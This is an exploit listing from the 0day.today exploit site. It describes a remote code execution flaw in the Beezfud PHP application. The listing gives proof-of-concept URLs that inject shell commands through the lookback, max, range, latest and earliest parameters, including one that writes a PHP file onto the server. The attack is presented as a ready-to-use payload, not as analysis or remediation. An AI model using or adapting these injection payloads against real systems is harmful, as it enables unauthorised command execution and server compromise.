[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Beezfud - Remote Code Execution

Author
Ashiyane
Risk
[
Security Risk High
]
0day-ID
0day-ID-24839
Category
web applications
Date add
24-12-2015
Platform
php
================================================================================
# Beezfud Remote Code Execution
================================================================================
# Vendor Homepage: https://github.com/EVA-01/beezfud
# Date: 23/12/2015
# Software Link: https://github.com/EVA-01/beezfud/archive/master.zip
# Author: Ashiyane Digital Security Team
# Contact: hehsan979@gmail.com
# Source: http://ehsansec.ir/advisories/beezfud-exec.txt
================================================================================
# Vulnerable File : index.php
 
# PoC :
 
http://localhost/beezfud/index.php?parameter=;Command;
 
Vulnerable Parameters : lookback , max , range , latest , earliest
 
 
Example :
 
http://localhost/beezfud/index.php?lookback=;echo '<?php phpinfo();
?>' >info.php;

#  0day.today [2024-11-16]  #